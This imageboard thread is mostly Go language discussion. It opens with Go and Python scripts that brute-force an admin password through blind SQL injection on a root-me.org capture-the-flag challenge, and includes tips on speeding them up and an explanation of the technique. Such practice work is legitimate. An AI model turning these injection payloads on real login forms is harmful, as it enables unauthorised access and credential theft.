Code is slow as fuarrrk, python is faster. How do I make it faster guys? If you want to run it yourself, log in to root-me.org first. Go: package main import ( "bytes" "fmt" "io/ioutil" "log" "net/http" "net/url" "os" "strconv" "time" "unicode" ) var targetUrl *url.URL var password string var foundChan chan bool var found bool var keyphrase []byte func init() { var err error targetUrl, err = url.Parse("http://challenge01.root-me.org/web-serveur/ch10/") if err != nil { log.Fatal(err) } keyphrase = []byte("admin") } func main() { fmt.Println("Starting bruteforce.") fmt.Print("Password: ") start := time.Now() query := targetUrl.Query() query.Set("password", "whatever") foundChan := make(chan bool, 1) for i := range make([]int, 8) { for letter := 32; letter < unicode.MaxLatin1; letter++ { go makeRequest(letter, i, &query, foundChan) found = <-foundChan if found { break } } if found { continue } // Didn't find the letter, using placeholder "." fmt.Print(".") os.Stdout.Sync() } t := time.Now() elapsed := t.Sub(start) fmt.Printf("\nTime elapsed: %s\n", elapsed) fmt.Println("Done.") } func makeRequest(letter int, index int, query *url.Values, found chan bool) { l := string(letter) payload := `' OR substr(password,` + strconv.Itoa(index+1) + `,1)='` + l + `'-- -` query.Set("username", payload) resp, err := http.PostForm(targetUrl.String(), *query) if err != nil { log.Fatal(err) } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { log.Fatal(err) } if err != nil { log.Fatal(err) } if bytes.Contains(body, keyphrase) { l := string(letter) found <- true password = password + l fmt.Print(l) os.Stdout.Sync() } else { found <- false } } Python: import urllib, urllib2, string, sys, time from bs4 import BeautifulSoup as bs sys.stdout.write('Pass: ') sys.stdout.flush() start_time = time.time() found = False for j in range(1,9): found=False for i in string.printable: payload= '\' OR substr(password,' + str(j) + ',1)=\'' + i + '\'-- -' param = { 'username': payload, 'password': 'whatever' } value = urllib.urlencode(param) request = urllib2.Request("http://challenge01.root-me.org/web-serveur/ch10/", value) response = urllib2.urlopen(request) soup = bs(response.read(), 'html.parser') if(soup.findAll('h2', string='Welcome back admin !')): found=True # print soup.p sys.stdout.write(i) sys.stdout.flush() break if(not found): sys.stdout.write('.') sys.stdout.flush() print print("--- %s seconds ---" % (time.time() - start_time))

>>15544 >for i := range make([]int, 8) { do a regular for loop (for i := 0; i < 8; i++). >go makeRequest(letter, i, &query, foundChan) >found = <-foundChan so you're starting the request in a seperate thread, but then waiting for it to find something before continuing? >query.Set("username", payload) since this is a pointer object, you're modifying the shared variable, right? So what's the point on concurrency? >body, err := ioutil.ReadAll(resp.Body) > ... > if bytes.Contains(body, keyphrase) { why read all into memory? I don't know what kind of data you're handeling here, but maybe consider using the regexp package or something along those lines. Also you're double-error checking. >l := string(letter) why do you keep converting characters to letters? Consider setting up an actual worker pool, pushing requests into a channel and reading from another one. Look into the sync package, especially WaitGroup. Avoid unnecessary copying. Just these few things should speed things up. Also, just style-wise, there's no need for that init.

>>15546 >concurrency Actually was also wondering about the point of concurrency here but I wanted to try it. You have to generate the payload, send the request and look if it matches the keyphrase so I thought it could be done concurrently, but then the password needs to be in the right order. Should I abandon it entirely or would you have an idea on how to use it better? >I don't know what kind of data you're handeling here Html, I send a login request and if the SQL request is tru then I get a "Welcome back admin" on the login page, otherwise it just loads the login page as normal. >>l := string(letter) >why do you keep converting characters to letters? l is an int, either I convert it to string or I convert to int (used as int in the payload). >Consider setting up an actual worker pool, pushing requests into a channel and reading from another one. Look into the sync package, especially WaitGroup. Avoid unnecessary copying. Just these few things should speed things up. Will look into it. >Also, just style-wise, there's no need for that init. Isn't that good practice, especially if you want to add command line parsing in the future? Thanks for the help lainon.

>>15547 >>15547 >Should I abandon it entirely or would you have an idea on how to use it better? >Html, I send a login request and if the SQL request is tru then I get a "Welcome back admin" on the login page, otherwise it just loads the login page as normal. It is just a plaintext response, or is the data multiple kilo-bytes? Because depending on the amount of data, it might be worth it. Remember that network transfer has a lot of latency, so a thread might spend a relatively long while just waiting, where computations (such as searching the results) could be performed. The only question then is, "is the parallelisation overhead worth it". In Go the answer usually is yes, because goroutines are cheap, but not always. >l is an int, either I convert it to string or I convert to int (used as int in the payload). maybe consider using runes instead of ints? I believe fmt also correctly recognises their type when displaying them, while avoiding allocating space for a string (although I'm not sure if Go strings are on the heap or on the stack...). >Isn't that good practice, especially if you want to add command line parsing in the future? In your case, there's no advantage over placing it in the main function. Different people have different tastes, but I belong to those who see the init function as where you initialise variables you couldn't initialise either in their global definitions, or not (in a clean way) in the main function. Others disagree, and it's not wrong, just something to think about. In your case specifically you could just as well assign keyphrase in it's initial definition (and group them under a single var btw). It might be more clean to define an axillary function mustParseURL , or something along those lines, but that's something one should think about in larger code-bases. And if you want it to be defined via flags in the future, then it's not that important anyway.

>>15544 I don't understand the rules of the exercise, mind pointing me to what I'm supposed to do? I don't know what the API is, and how to determine success. I might look into it, seems interesting.

>>15555 Sure, I am glad to. This is a Root-me challenge which means to interact with it you need to be logged in first. In this case you will find it under "challenges", "web server" and it is the last one of the SQLis. That is because it does not give you feedback when wrong. Pre-work that you need to do and isn't included in the script is check the login. I believe it is written in the challenge explanation that you need to log in as admin. Of course for that you need an injection, find the right one. Once you have the username you will want the password. You know by then that the SQLi doesn't give out errors, and I gets executed nicely if you're right and "log you in", so you can think of it as a Boolean. You won't be able to extract the password directly, but in the form of yes/no you can extract it. Is the length 1? Is it 2? Great, you got the length. Is the first character 'a'? Is it 'b'? That is the gist of it. As for the API, you don't have for that challenge, so you grab the HTML and look for the hint that tells you the SQLi vent right. I would recommend starting with the SQLis in order so you can get a feel of the different ways to inject. Also a thing to note, that one is not realistic as nowadays most passwords databases are salted and hashed.

Is there much of a future for Go? why would/should industrymen use it over Java or .NET or something else? I'm wondering if I should add it to my skills and bother listing it or if it'll just be a hobby language forever. like LISP

>>15572 It's got a good neiche between server/concurrent-systems oriented languages and doesn't need VM or interpreter + static binaries. I hear it's quite common to write critical services in Go because of it's compromise between speed and security. Also it's compfy af to work in, no LSP needed. >like Lisp of of the points of learning and using lisp is to expand beyond the patterns of though in one system. as such, it's certainly worth learning as more than just a "hobby language". Any language that isn't a complete rip-off is woth learning for that matter. Limiting oneself to pseudo-pragmatism is much worse than trying "save time" not learning new ideas.

>>15572 Java and .NET are both garbage, and some of the worst programming languages known to man. That is reason enough to use Go instead.

>>15572 Go has a very clean and consistent design compared to many other languages in the same niche (particularly services, command line utilities, and web apps). Its standard library is one of the best I've ever seen. It's a pretty easy language to learn. Even more importantly, it's an easy language to read. You likely won't have any problem in going back to code you've written months before, or code written by others, and understanding it right away. Go sure as hell ain't Perl. I think it's worth spending an evening to pick up the basics. You never know, it might scratch an itch for you.

>Go has a very clean and consistent design compared to many other languages in the same niche (particularly services, command line utilities, and web apps) yeah, compared to bash, perl, python, ruby, and javascript. simply because they didn't try to add a bunch of retarded features. the language is still crap though

>>15599 >the language is still crap though What language would you consider not to be crap?

I'm impressed to see people defending golang in a board called λ. I checked go a few years ago, went over the tour of go and have a few questions for current users. Are pointers and interfaces (way to ruin a type system) idiomatic go? Was the import system fixed? iirc to import packages you had to give a github url and were only able to get the last version of the master branch or something similar What is the intended progression of the language? Add 'modern' functional features like every other language or keep being some kind of weird garbage collected c? >>15574 .NET is not a programming language

>>15604 >Are pointers and interfaces (way to ruin a type system) idiomatic go? Depends on the context. flag uses pointers, and that's certainly idiomatic, io.Reader and io.Writer and omnipresent interfaces in the standard library. Interfaces like sort.Interface allow quasi-generic operations without generics. The trick is to know when to use them, and how to use them. >Was the import system fixed? iirc to import packages you had to give a github url and were only able to get the last version of the master branch or something similar Go 1.11 introduced a module system, but it's not uncontroversial. I haven't looked into it yet, but it's an improvement over just the latest master branch. >What is the intended progression of the language? Add 'modern' functional features like every other language or keep being some kind of weird garbage collected c? There are discussions towards that direction, but the Go team wants to avoid forcing concepts onto the language, that could stand in conflict with it's design goals of simplicity and cleanness. They've been discussing it for a while now: https://github.com/golang/go/issues/15292 They want to keep it weird, and honestly I respect that.

>>15607 >and omnipresent interfaces in the standard library. Interfaces like sort.Interface allow quasi-generic operations without generics. Honestly I feel this current situation is the best compromise in golang. I've never been convinced the absolute necessity of c++ or java style generics. It's a minor code-reuse convenience, nothing more.

>>15607 >idiomatic get with the times. it's almost 2020. the two decades of insufferable "muh add features to language but not use it" are over. language design is now distilled enough that any construct whatsoever is readable

>>15600 SML was the only good general purpose language for its era (70s-80s). after that nothing interesting or useful was created >>15607 casting is a catastrophe in Go btw. i don't see how they managed to make it worse than Java/C# (before they got generics) >They want to keep it weird, and honestly I respect that. There's nothing remotely novel in Go. Invalid concepts like having web URLs as imports don't count.

>>15621 oh look, it's that nedit guy who's too good for normal software >There's nothing remotely novel in Go. That's not their point. They are not a new language, but a rearticulated one. It's stdlib makes it what it is, and if it wern't as attractive, I don't think I would have much interest in the language either.

>>15623 well they didnt solve any known problem either half the go users think they are being humble by not solving any problems, while still using a complex piece of junk language that Go is >It's stdlib makes it what it is you mean a bunch of wrappers around POSIX crap? some smartass bloated datastructures lib? i havent touched the standard lib of any language for years and you shouldnt either

>>15621 I almost fell for your trolling. Nice work! Top marks.

I really don't understand people's obsession with generics. In my 6 years in the industry and 6 years in school, I've never once used Generics. I learned programming from a C (and then later C++) background and did very little Java/C#, and in neither case did I use their languages generics. The closest thing I've gotten to generics are C++ and C#'s auto types but I haven't used C# in years because it's a garbage language tied to a garbage platform. Why do Generics exist anyways? I don't understand the argument for their existence. I have seen plenty of times where I've reused code in Go, and every time I want to implement some kind of generic interface interface{} and encoding/json (casting a struct into another typed struct ala adapters) meet my needs.

>>15635 I think there's a laziness aspect to the complaints, particularly from some people in the Java community. A relatively new language has come along that works very well in Java's traditional problem domains, while significantly outperforming it in certain aspects. But there's a huge group of programmers who have really only ever used Java in their professional careers. Some of them are rather set in their ways, unwilling to learn how a new language operates. Hence, the complaints when the new language isn't 100% identical to the old one. Personally I'm in love with Go. There's something exciting about a clean-slate language that's not burdened with the cruft of the old.

>>15636 In my experience Java programmers seem to get very angry whenever anyone talks bad about their langauge. It's so strange, as a C/Python/Go programmer I rarely have anyone say anything negative about my langauges except for Go, and usually nobody can give me decent answers to why they dislike the languages, despite the fact that I am really good at explaining why Java is such a bad language (bloated, writing idiomatic java is very convoluted, how it uses design patterns is out of the 90s, ect.).

>>15635 they're for containers, mostly. do you write container objects/classes? if not, there are far fewer cases where you will use generics.

>>15638 Why not just use arrays of bytes or strings to store data, they are much more effective then creating abstract data types. One of go's strengths is that it can store structures (as long as they don't have references) as json, Python has Dictionaries and Sets which do very much the same thing, and both C and C++ has void typing (and character/byte arrays). These can all be used to create an abstract data model way better than generics.

>>15640 because dynamic typing is trash

>>15635 People are "obsessing" over it, because when you've used languages with generics, it's a thing you really realize that would be really nice to have in Go too. >Why do Generics exist anyways? I don't understand the argument for their existence. To ensure type-safety behind complex systems. Take sync.Map for example. Currently it's from interface{} to interface{}, while the regular map is quasi-generic. And sync.Map certainly isn't a structure I'd like to re-implement each time I want to use it. That means that all the users have to ensure that they are using the right types, checking after converting, etc. All it takes is someone to confuse the Stringer interface and the primitive string type and in the worse case a program could panic. Generics would allow, just as they do with regular maps, that these kinds of automatically catchable mistakes could be recognised by a compiler, statically, thus ensuring type safety.

>>15604 >Was the import system fixed? iirc to import packages you had to give a github url Actually, no. If you saw something like: import ( "github.com/username/somecodebase" ) ...that's not actually referring to a URL. That's referring to a path on local storage under $GOPATH/src/ . For example, if $GOPATH is "/home/bobsmith/Source/golang", then that import in the above example is referring to locally-stored directory "/home/bobsmith/Source/golang/src/github.com/username/somecodebase". It's just typically stored that way so that one can easily have the URL of the package at a glance if one needs it. It's not at all required to be in the form of a URL. It could easily be under "/home/bobsmith/Source/golang/src/somecodebase" and imported with: import ( "somecodebase" ) ...with zero change in real functionality and no other changes required in code that depends on that package. While it's true that under the $GOPATH method all projects on one's own machine build against the same version of a package stored in $GOPATH/src, it's NOT true (and never has been true) that that package is somehow forced to be updated locally when the upstream package changes. The new module system is changing that further, allowing specific projects to build against specific versions of a package. The language itself is ready, but it'll take some time for third-party tooling to handle it properly.

>>15633 not an argument >>15640 having JSON as something other than a 3rd party library is a horrible idea. JSON is underspecified and uderpowered. literally nothing was ever even good about it other than being a less soykaf alternative to XML. i can't remember how that stuff works in Go (through tags or something), but it isn't a game changer. algebraic data types are the state of the art right now. anything less is crap

>>15700 Keep in mind that you can have multiple GOPATH just like you can have multiple PATH, and that you can have local packages. Packages do NOT need to come from github, and do not need to adhere to that specific import syntax. Go Imports are just arbitrary directories that have .go files.

>>15702 Quite true. I could have phrased my post to make that more clear. I just wanted to dispel any misapprehension that Go somehow specifically requires Github for third-party packages.

>>8644 >but Rust and Go have different use cases This is honestly what got me into Go. I had a "why bother" attitude until I realised that these languages solve different problems and are no competition to each other. Go is remarkable whenever concurrency is involved and it is a nice replacement for simple interpreted languages whenever you need a compiled language. I really like Go's simplicity; my experience with the language so far was quite pleasant.

>>16189 I think that while neither Rust nor Go on their own are replacements for C, the Rust/Go combo has the potential to be after another few years of polishing for each. Personally I'm most eager for Gio (https://git.sr.ht/~eliasnaur/gio), a native cross-platform Go graphics library. It's still under early development but it's looking really good. I'd love to ditch that go-astilectron insanity that I currently have to use to write portable desktop Go apps.

>>16197 I only have one issue with golang and that's building a dll with a custom DllMain. I get why, as the runtime needs to initialize, and there is this project https://github.com/NaniteFactory/dllmain, but I wish there was a way to add to DllMain after the runtime is setup. Am I missing something with building using a DLL with c-shared?

I have a question, why do pointers to struct types work like this? type Feed struct { ID string `xml:"id"` Title string `xml:"title"` Link string `xml:"link"` Description string `xml:"description"` Entry []Entry `xml:"entry"` Updated time.Time `xml:"updated"` } var feed *Feed = getFeed(someUrl) fmt.printLn(feed.Link) // all good num := 10 numPtr := &num fmt.printLn(*numPtr) // all good, prints 10 why don't I need to deference my struct type but I do need to deference the number pointer?

>>16197 Other anon here to inform that Gio is becoming more mature. It can already target desktop and mobile. In case someone is not aware the main dev is an absolute qt chad bf.

>>18890 Go has automatic dereferencing in certain cases, one of those cases is accessing a field. See https://stackoverflow.com/questions/13533681/when-do-gos-pointers-dereference-themselves

>>19233 Nice! Thanks for the update. Fyne (https://fyne.io/) is another one that's interesting. It's not quite as low-level as Gio, but it might scratch someone's itch if they're looking for a relatively simple way to get Go GUI programs running.

>>19240 huh, that sounds really useful, does it bite you in the ass in some weird situations?

what is go good for?

>>19900 Go is a pretty good general-purpose language (if you're not looking for easy native desktop GUIs, see below). It's statically-typed, compiled, and garbage-collected. It's good for commandline stuff, great for web backends, and fantastic for server daemons. (Goroutines are the bomb.) Basically, about ten+ years ago a lot of the guys who first developed C decided to create a new C-ish language that takes advantage of modern hardware features like multicore CPUs. Some people complain that Go doesn't have any exciting new concepts, but that's kinda the point. It's designed to be a stable language with new features added slowly and carefully. Go's one real disadvantage is the lack of a mature GUI framework, but as other posts in this thread show, there's been some solid development in that area. Another year or so of polish on Gio and Fyne, and Go will be a good choice for GUI development too.

>>19903 I'd be a lot more interested in Go if not for the rakes-to-the-face-in-a-darkened-shed that are compile errors on unused vars. Commenting things out during writing/debugging is an extremely common workflow. That said, the lexer is open source too, and it's fairly easy to recompile (it's self-bootstrapping) and remove that idiocy. Any IDE will still whine about them, which will stop you from releasing something in that state, but your program will at least run.

>>19905 I suppose it's all a matter of personal preference. I don't mind unused-variable warnings. It helps me keep my code reasonably tidy.

>>19903 >Go's one real disadvantage Don't forget the lack of generics, compile-time introspection, and generally anything that allows the programmer to write less code.

>>19907 ERRORS, not warnings. Unused variables will cause a compile to fail and your program to not run.

>>19908 If you want C++, you know where you can get it.

>>19903 should i learn to as my first language?

>>6019 No offense for go users, but what's the point of this language? I feel every other language have some sort of feature that's pretty exclusive for them. C - low level Lisp - macros Rust - type safe, low level, functional Haskell - pure functional etc. etc.

>>19927 It's not a bad choice. Of course one should try a variety of languages, no language is perfect. But yeah, give it shot. I think it's a really fun and practical language (much like Python). There's a great website (https://tour.golang.org/welcome/1) that gives you an easy interactive intro into it. >>19928 Go combines a lot of good features of other languages into one, wraps it in a syntax with a shallow learning curve, includes garbage collection with a negligible performance hit, outputs portable static binaries, gives you easy and reliable multithreading (technically not multithreading under the hood, but it's this is practice) for free, has super-fast compile times, and provides a massive standard library that works in a self-consistent way. Practically anyone can pick up the language and be writing useful production-ready code within a week. And even more importantly, since there's exactly one enforced brace style and there's a limited number of keywords, it's easy to read an unfamiliar codebase.

>>19931 >outputs portable static binaries now, this is very interesting. i'll take a look at it.

>>19928 Go is not a low level language (beyond cgo, which is a different story). Go is a high level, language for cli applications (and microservices) that allows for rapid prototyping and a very fast development cycle that other langauges (that you mentioned) do not have. > lua and functional langauges and not python I mean you just have bad taste and / or don't understand the benefits of compile-time languages that can work cross-platform.

>>19936 I should have been more clear; I meant "portable" in the sense of "easy to send to another machine running the same OS and architecture, no runtime on the destination machine required". It's not portable in the sense of "one binary, all OSs and architectures". I apologize if I misled you on that. But as it happens, Go also makes it dead simple to cross-compile for different architectures and OSs. So while you can't just ship one binary for everyone, you can easily build multiple binaries for multiple platforms from your dev machine.

>>19958 Ah, my first thought was that you meant "one binary, all OSs given the same architecture," since binaries are inherently architecture-dependent. I wonder how possible it would be to achieve that. Obviously you'd need runtime-resolved abstractions for certain things like filesystem interactions, but to what extent could you just ignore the OS itself?

>>19965 It's an interesting idea. Cross-architecture (but same-OS) binaries have been done before. During the PPC-to-Intel transition, Apple made it fairly easy to build OSX "universal" binaries, aka fat binaries. They worked on all their then-current architectures by basically compiling for all architectures and stuffing all compiled code into single huge binaries. One of the really interesting things about the ELF executable format is that it's cross-platform itself. ( https://en.wikipedia.org/wiki/Executable_and_Linkable_Format#Applications ). If Apple and Microsoft were to adopt it, and if the FatELF fat-binary variant were to become standard, you might well be able to ship a genuinely portable binary. Unfortunately that's a longshot. Language implementers making cross-compilation easy and reliable is probably the least-bad short-term path.

It appears the Go people are homing in on an implementation of polymorphism/generics that they can be happy with. Recently, Rob Pike asked Philip Wadler, type theorist involved in Haskell, for help smoothing things out. Unsurprisingly, the result feels a lot like Haskell; surprisingly, it doesn't feel out of place in Go. Attached are two slides from Wadler's talk on Featherweight Go, a simplified (it has only structs and interfaces) dialect of Go his people used as basis for their implementation. I don't know about gophers, but lambdaheads will surely quickly realize what's going on in them. If function syntax looks odd, remember that Featherweight Go doesn't have functions - they're implemented in terms of structs and interfaces. It's quite interesting to watch an academic having a field day with an 'industry' language's type system. And on the Go side, it's good to hear they're taking pains to get a major feature like this exactly right. Source: https://lwn.net/Articles/824716/ Wadler's talk: https://arxiv.org/pdf/2005.11710.pdf , https://www.youtube.com/watch?v=Dq0WFigax_c

>>20069 >And on the Go side, it's good to hear they're taking pains to get a major feature like this exactly right. That's always been Go's major strength. Features are slowly and carefully planned, and implemented in a way that's consistent with other features.

>>20069 Like every other implementation of generics it looks ugly and hard to follow. This is coming from someone who uses Go every day professionally. People trying to add complex features to a simple language. It's like that Git issue that's been open forever about people trying to add soykaf like exceptions and async/await to a language that doesn't need them.

>>20094 When I was just starting programming and began with Go, I heard complaints about a lack of generics from much more experienced programmers and assumed they knew what they were talking about. Now, I'm becoming increasingly convinced that those same people are just flat-out lazy and unwilling to learn a new approach, and want every language in the world to look and act exactly like C++.

>>20295 >a new approach Type erasure is not new and is not an acceptable replacement for proper generics. Go's approach to runtime polymorphism is better than C++'s, but ultimately it's still just type erasure. Personally I'm glad the folks at Google finally decided to do something about this (and do it better than Java did). Now if they could only figure out a way to make error handling a little less annoying (doesn't even have to be exceptions), and I might even use this language voluntarily.

>>20301 And you've made my point for me. Go's alleged problems with lacking generics and it's highly explicit and mandatory error handling *are not problems with Go itself*. They're only problems for people who flat-out refuse to unlearn behaviour patterns common to other languages, but not appropriate to Go. If you're not being paid to write Go, you know where you can download C++. If you're being paid to write Go, *get over yourself*, stop whining, and earn your paycheque.

>>20295 >>20308 I find it amusing that you guys seem to think that C++ is the only alternative, and that the people who criticize Go have only C++ in mind. Intellectual laziness at its finest. >If you're being paid to write Go, *get over yourself*, stop whining, and earn your paycheque. You mean I can't talk about Go's shortcomings if I use it professionally? That seems weird.

>>20295 Those people are C# and Java developers that think that their version of OOP ("design patterns") is the only version of OOP. The problem is you can't criticize these people, because there's very vocal majority of bad programmers who think languages like Java and C# are actually good. Go disproves this and turns OOP upside down. In the past I have been derezzed from other sites for soykafting on Java programmers specifically. These people think everything needs to be some kind of abstract factory to be successful. It's crazy the amount of boilerplate and bloat that higher level OO languages have that go does not. > make error handling a little less annoying (doesn't even have to be exceptions), As long as it's exceptions I'm good. C++, Java and even Python all fail because they try and solve everything with Exceptions. Same thing as my comment above. Go just does it better and I don't understand the argument for exceptions, You're just creating unneeded code bloat. 5 lines of code versus 3 for the regular error handling I do in go right now. I don't know if I'd ever use exceptions in go if they were a choice (much like I do not use them in python or C++). > Go's alleged problems with lacking generics and it's highly explicit and mandatory error handling *are not problems with Go itself*. They're only problems for people who flat-out refuse to unlearn behaviour patterns common to other languages, but not appropriate to Go. "Learning new things is scary" Now to not sound like a snob, what don't I like about Go? The lack of casting between objects between libraries is very annoying. If I have an object defined in library A and it's the same as an object defined in library B, I should just be able to do a cast instead of doing flimsy json marshalling. I haven't found a good solution to this in the 2 1/2 years I've been doing Go full time. In C you just cast.

>>20311 >As long as it's NOT exceptions I'm good. Damn proofreading.

>>20308 >And you've made my point for me. Let's be serious here; you could take any counterargument and frame it as "making your point for you". >Go's alleged problems with lacking generics and it's highly explicit and mandatory error handling *are not problems with Go itself*. This can be used to justify the lack of literally any feature in any language. A fine way to stop a language's evolution. >They're only problems for people who flat-out refuse to unlearn behaviour patterns common to other languages, but not appropriate to Go. >appropriate Why would generics be "not appropriate to Go"? Why would at least some basic (yet still explicit) syntactic sugar around the tedious error handling of Go be "not appropriate to Go"? Do you despise abstraction and convenience? Is there something about Go itself that forbids abstraction and convenience? >If you're not being paid to write Go, you know where you can download C++. If you're being paid to write Go, *get over yourself*, stop whining, and earn your paycheque. That is a pretty sad approach to life. "What? You would like if things were better?? Woah there son, get over yourself. Do like me and stop whining, earn your paycheque and keep eating soykaf by the spoonful." >>20311 >I should just be able to do a cast instead of doing flimsy json marshalling How would that work? You say the objects are "the same", but what exactly do you mean by this? That the structs have the same layout? What if a new version of lib A changes the struct's layout? Or do you mean similar methods but different returned values? Different methods but similar returned values? >In C you just cast. lol

>>20324 >That the structs have the same layout? Not necessarily. For example, you could have an internal API with a specific structure, and an internal API with a slightly different structure. The easiest way to convert between the two in Go is to use json.Marshal / json.Unmarshal to go between the two, or they could be identical, both have similar outcomes.

>>20311 Go doesn't prove or disprove anything. It is Java 1.5 but with different syntax and a different "VM".

>Now to not sound like a snob, what don't I like about Go? The lack of casting between objects between libraries is very annoying. If I have an object defined in library A and it's the same as an object defined in library B, I should just be able to do a cast instead of doing flimsy json marshalling. I haven't found a good solution to this in the 2 1/2 years I've been doing Go full time. In C you just cast. >I have been a gopher for 2.5 years and still think there is no casting. The absolute state of Go.

>>20328 >use json.Marshal / json.Unmarshal to go between the two Wouldn't json.Marshal+json.Unmarshal (without otherwise modifying fields) really only work if the marshalled structs have the same JSON structure (recursively)? Is that really so common for structs from separate libraries? Otherwise you're going to have to do some manual adjustments anyways, which kind of defeats the idea of an easy cast (i.e. you would need to define conversion functions anyways).

>>20342 Go has very little in common with Java outside of the aspects they both inherited from C.

>>20364 Both love boilerplate, however.

>>20365 Of course.

>>20364 That's because you're looking at it with a microscope. It's such a parody of Java 1.5 it's not even funny. They even have the same retard casting soykaf everywhere, and the same pointless "base classes" and insane "design patterns".

>>20393 What the fuarrrk are you talking about? Go literally goes out of its way to not have a true object system, which is the definitive feature of Java. There's definite overlap, don'tget me wrong, both are pretty derivative of C/C++, and I wouldn't doubt that there is some Java influence in Go, but the key features and broad philosophy of the two are worlds apart.

>>20393 > It's such a parody of Java 1.5 it's not even funny Of course, I forgot that Go was an object-oriented programming language. And that one defines classes in Go and can create child classes and overload methods and so on. Btw, Java 1.4 was the last Java version without Generics. Tho, Go has Generics now? > They even have the same retard casting soykaf everywhere Well.. you have safe casts and a super type. This is not Java-like, but programming languages 101. > and the same pointless "base classes" If your trying to compare Object with interface{}, good luck with that. Both could be seen as super types, but that's it. Like, really.

>>6085 You can make some good malware with it too. C is much better for that though, IMO.

>>20754 As a matter of fact, there is already alot of malware written in go.

>>15544 Went back to this after a long time, had a version with WaitGroups but because I couldn't figure out the concurrency model that would match my need it ended up with the same performance as original (20s). I dropped the concurrency thinking, and it turns out the algorithm was also soykaf, so now I've added length finding but mostly it uses dichotomy. Went from 20s to 3s even with the extra steps, so I'm pretty happy. If someone can take the time to explain why I would benefit running some parts async or why not (I'm thinking since I only wait for one request to bring me the result I want I would need a way to drop the other requests?), that would be really helpful!

>>20755 Reminds me that some of you might be interested in Black Hat Go.

>>20457 There's a proposal in place that looks pretty promising. Not sure if it's been accepted or not. >>20755 Allegedly go malware is harder to reverse engineer atm due to lack of tooling support for Go binaries. >>20393 Classes aren't really a thing due to inheritance not being a thing, so the idea of a base class doesn't really apply. If you want to think of the empty interface, it's much more akin to a void pointer than anything. In Java, taking in an Object doesn't handle primitives iirc.

>>21209 >There's a proposal in place that looks pretty promising. Not sure if it's been accepted or not. I was worried that the Go devs would bow to public pressure and simply import Java-style class insanity verbatim. But fortunately they insisted on taking their time and implementing a form of generics that's a good syntactic and functional fit to the language. Not sure I'll actually use Go generics as I've never found the lack of them to be an issue, but if it shuts up the generics-obsessed crowd without also destroying the language, then I'll be OK with that situation.

>>21219 Agreed, it's definitely not a perfect solution, and the team itself mentions that it shouldn't be used by most people, but I'm really glad they took the time to compare different forms of generics. Allegedly Rob Pike met up with someone who did a lot of work on Haskell's type system for some inspiration. I doubt I'll be using generics in most cases, but it'd be nice to have an interface{} free version of an LRU for example without needing to rely on code generation.

What would be a good resource to learn the language ? I'm not a complete beginner, but I'm closer to one than a practical and competent programmer. (Never done anything really useful, nor really complex)

>>21231 Honestly, the "Go Tour" (https://tour.golang.org/welcome/1) is a very solid intro to Go. It's become almost a cliche at this point to recommend new people try it out, but it really is a great resource. Go By Example (https://gobyexample.com) is also good. It eases you in to the language with very clear code examples.

>>21224 >Allegedly Rob Pike met up with someone who did a lot of work on Haskell's type system for some inspiration. That would make sense. He's always had a refreshing immunity to the whole not-invented-here syndrome that sometimes infects software project leads.

Anyone got some more books I can read offline to share? I already got this gem, but I'm looking to hoard everything I can. >>20946 That looks good. Thanks.

>>22183 I have a few decent ones that I bought on sale from packt, but I'm hesitant to upload them until I can find out if there's metadata in the files linked to my IRL identity. I'm going to do some digging today to see if I can safely upload metadata-free copies of the PDFs and epubs.

Every time I go back to GO I am all like "OK, but I can do the same in C and it works faster". It barely makes any sense to use it unless you want to do quick concurrent and/or parallel hacks and not free() soykaf manually. Creating dynamic arrays of arrays is still as tedious as it was in C. It may be OKish for so called enterprise software houses as doing soykaf as quick as possible is profitable in such environments. But elsewhere else where speed and optimization counts in system programming - not so much IMHO. It most probably will have strong representation in webdev tho. It east node.js,ruby and PHP for breakfast while babysitting code monkeys enough they cannot make too much damage when operating on strings and memory. But it may require creation of GO specific wide "software patents" palette - as we know webdev is mostly hordes of mediocre to bad programmers that need bondage and discipline while programing.

>>22195 >Creating dynamic arrays of arrays is still as tedious as it was in C Oh, yeah. It's so tedious to type s := make([]string, 0) Daaaaamn, son! That took me a whole few seconds! Half the day gone, I swear. And before you say "but that's a slice, not an array", I'd just like to point out that almost nobody writing Go uses arrays directly. It's slice city. >But it may require creation of GO specific wide "software patents" palette I literally have no idea what sort of point you're trying to make here. I've read that sentence a dozen times and it still confuses me.

>>22197 Congratz son for not addressing what I wrote about.

>>22197 >I literally have no idea what sort of point you're trying to make here. I've read that sentence a dozen times and it still confuses me. Go back after few years of hanging around real world programing teams. You are going to understand that sentence first time you read it.

>>22198 >>22199 Show us on the doll where Rob Pike hurt you.

>>22205 Emilly, leave mommy's lab coat alone. It's time to go to sleep, not to play a doctor.

what's everyone using go for?

>>22250 I'm interested in this too, seems to me like it's just a fancier Python for extremely niche cases (like, Google scale) and hobby users.

>>22250 I've been using it for some privacy-centric self-hosted services intended to be used as Tor hidden services (but are fine on the open web too). The stock html templating system makes it ridiculously easy to avoid javascript completely and let the server do all the work. I won't do javascript on Tor. Since it's a memory-safe language I don't need to worry about buffer overruns. Since it's statically-typed I don't need to worry about runtime errors due to mismatched types. And since it compiles to static binaries I don't have to worry about walking someone thought a crazy install process where they have to npm this thing or pip that thing or . It's also a nice language for building crossplatform commandline tools. Dead simple to bang out a reliable little utility in an hour or so that'll work everywhere without having to worry about the destination machine having the full interpreter installed (like with Python). >>22251 Not really. Go is the result of the original C/Unix folks (you don't get much more OG than Ken Thompson) looking back at 40+ years of C and 20+ years of C++, and deciding where they'd screwed up with C and where Stroustrup screwed up with C++. They set out to create a modern statically-typed C-alike with garbage collection, much cleaner syntax (Only 1 looping construct! Only 25 keywords!), modern native data types (Complex numbers!), concurrency built-in, and a massive standard library. And it compiles crazy-fast. I really do recommend checking out the Go tour (https://tour.golang.org/welcome/1). It's a nice introduction to the language. Yeah, I'm a fanboy. But it's a language that scratches a lot of my itches.

>>22250 I need a job (can't find one for my field right now) and decide to go for webdev since that is the fastest way to get a programming job here. Since I don't like JS, the other two options for me were Rust and Go. Since a friend said Go had a higher chances of me getting a job(and have more libraries for webdev), I decided to learn Go.

>>20946 I appreciate this. I'm looking at the vx-underground repo right now.

>>22255 Oh boy, I sure hope you find a backend-only job, otherwise JS is pretty much mandatory for webdev, unless you go full .Net an use something like Blazor. Rust web development for what I can tell runs wrapped in Node.js.

>>22261 >otherwise JS is pretty much mandatory for webdev I guess I can avoid this cancer, then. Better learn some basics so that I have more options when looking for a job. Thanks.

>>22262 Every day, I wake up and thank the universe that I don't have to do webdev for a living. If I had to write javascript on a daily basis, I think I'd jump off a bridge.

